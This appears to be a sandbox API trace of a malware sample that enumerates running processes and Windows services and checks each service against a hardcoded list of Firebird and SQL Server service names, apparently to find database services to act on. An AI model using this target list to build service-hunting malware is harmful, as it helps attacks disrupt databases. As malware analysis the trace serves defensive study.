	[0168.855] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0168.856] lstrlenW (lpString="cmd.exe") returned 7
	[0168.856] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0168.856] lstrlenW (lpString="conhost.exe") returned 11
	[0168.856] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0168.857] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0168.857] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 0
	[0168.857] CloseHandle (hObject=0x4c8) returned 1
	[0168.857] Sleep (dwMilliseconds=0x1f4) 
	[0169.446] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3929ac0
	[0169.447] EnumServicesStatusExW (in: hSCManager=0x3929ac0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0169.447] GetLastError () returned 0xea
	[0169.447] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x4069fc8
	[0169.448] EnumServicesStatusExW (in: hSCManager=0x3929ac0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4069fc8, cbBufSize=0x1bc4, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4069fc8, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0169.449] CloseServiceHandle (hSCObject=0x3929ac0) returned 1
	[0169.449] lstrlenW (lpString="AppXSvc") returned 7
	[0169.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0169.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0169.449] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0169.449] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0169.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0169.449] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0169.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0169.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0169.449] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0169.449] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0169.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0169.449] lstrlenW (lpString="Audiosrv") returned 8
	[0169.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0169.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0169.449] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0169.450] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0169.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0169.450] lstrlenW (lpString="BFE") returned 3
	[0169.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0169.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0169.450] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0169.450] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0169.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0169.450] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0169.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0169.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0169.450] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0169.450] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0169.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0169.450] lstrlenW (lpString="CDPSvc") returned 6
	[0169.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0169.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0169.450] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0169.450] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0169.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0169.451] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0169.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0169.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0169.451] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0169.451] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0169.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0169.451] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0169.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0169.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0169.451] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0169.451] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0169.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0169.451] lstrlenW (lpString="CryptSvc") returned 8
	[0169.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0169.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0169.451] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0169.451] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0169.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0169.451] lstrlenW (lpString="DcomLaunch") returned 10
	[0169.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0169.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0169.451] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0169.451] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0169.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0169.451] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0169.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0169.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0169.452] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0169.452] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0169.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0169.452] lstrlenW (lpString="Dhcp") returned 4
	[0169.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0169.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0169.452] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0169.452] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0169.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0169.452] lstrlenW (lpString="Dnscache") returned 8
	[0169.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0169.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0169.452] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0169.452] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0169.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0169.452] lstrlenW (lpString="DPS") returned 3
	[0169.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0169.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0169.452] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0169.452] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0169.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0169.452] lstrlenW (lpString="DusmSvc") returned 7
	[0169.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0169.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0169.452] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0169.452] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0169.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0169.453] lstrlenW (lpString="EventLog") returned 8
	[0169.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0169.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0169.453] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0169.453] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0169.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0169.453] lstrlenW (lpString="EventSystem") returned 11
	[0169.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0169.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0169.453] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0169.453] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0169.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0169.453] lstrlenW (lpString="FontCache") returned 9
	[0169.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0169.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0169.453] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0169.453] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0169.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0169.453] lstrlenW (lpString="gpsvc") returned 5
	[0169.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0169.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0169.453] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0169.453] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0169.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0169.453] lstrlenW (lpString="iphlpsvc") returned 8
	[0169.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0169.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0169.453] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0169.454] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0169.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0169.454] lstrlenW (lpString="KeyIso") returned 6
	[0169.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0169.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0169.454] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0169.454] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0169.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0169.454] lstrlenW (lpString="LanmanServer") returned 12
	[0169.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0169.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0169.454] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0169.454] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0169.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0169.454] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0169.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0169.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0169.454] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0169.454] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0169.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0169.454] lstrlenW (lpString="lfsvc") returned 5
	[0169.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0169.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0169.454] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0169.454] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0169.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0169.454] lstrlenW (lpString="lmhosts") returned 7
	[0169.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0169.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0169.455] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0169.455] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0169.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0169.455] lstrlenW (lpString="LSM") returned 3
	[0169.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0169.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0169.455] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0169.455] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0169.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0169.455] lstrlenW (lpString="MpsSvc") returned 6
	[0169.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0169.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0169.455] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0169.455] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0169.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0169.455] lstrlenW (lpString="NcbService") returned 10
	[0169.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0169.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0169.455] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0169.455] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0169.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0169.455] lstrlenW (lpString="netprofm") returned 8
	[0169.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0169.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0169.455] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0169.455] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0169.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0169.456] lstrlenW (lpString="NgcSvc") returned 6
	[0169.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0169.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0169.456] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0169.456] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0169.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0169.456] lstrlenW (lpString="NlaSvc") returned 6
	[0169.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0169.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0169.456] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0169.456] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0169.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0169.456] lstrlenW (lpString="nsi") returned 3
	[0169.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0169.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0169.456] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0169.456] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0169.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0169.456] lstrlenW (lpString="PcaSvc") returned 6
	[0169.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0169.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0169.456] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0169.456] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0169.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0169.456] lstrlenW (lpString="PlugPlay") returned 8
	[0169.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0169.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0169.457] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0169.457] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0169.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0169.457] lstrlenW (lpString="Power") returned 5
	[0169.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0169.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0169.457] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0169.457] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0169.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0169.457] lstrlenW (lpString="ProfSvc") returned 7
	[0169.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0169.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0169.457] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0169.457] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0169.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0169.457] lstrlenW (lpString="RpcEptMapper") returned 12
	[0169.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0169.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0169.457] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0169.457] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0169.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0169.457] lstrlenW (lpString="RpcSs") returned 5
	[0169.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0169.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0169.457] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0169.457] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0169.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0169.457] lstrlenW (lpString="SamSs") returned 5
	[0169.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0169.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0169.458] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0169.458] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0169.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0169.458] lstrlenW (lpString="Schedule") returned 8
	[0169.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0169.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0169.458] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0169.458] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0169.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0169.458] lstrlenW (lpString="SecurityHealthService") returned 21
	[0169.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0169.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0169.458] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0169.458] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0169.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0169.458] lstrlenW (lpString="SENS") returned 4
	[0169.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0169.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0169.458] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0169.458] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0169.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0169.458] lstrlenW (lpString="ShellHWDetection") returned 16
	[0169.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0169.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0169.458] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0169.458] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0169.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0169.459] lstrlenW (lpString="Spooler") returned 7
	[0169.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0169.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0169.459] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0169.459] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0169.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0169.459] lstrlenW (lpString="StateRepository") returned 15
	[0169.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0169.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0169.459] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0169.459] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0169.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0169.459] lstrlenW (lpString="SysMain") returned 7
	[0169.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0169.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0169.459] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0169.459] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0169.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0169.459] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0169.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0169.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0169.459] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0169.459] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0169.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0169.459] lstrlenW (lpString="Themes") returned 6
	[0169.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0169.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0169.460] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0169.460] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0169.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0169.460] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0169.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0169.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0169.460] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
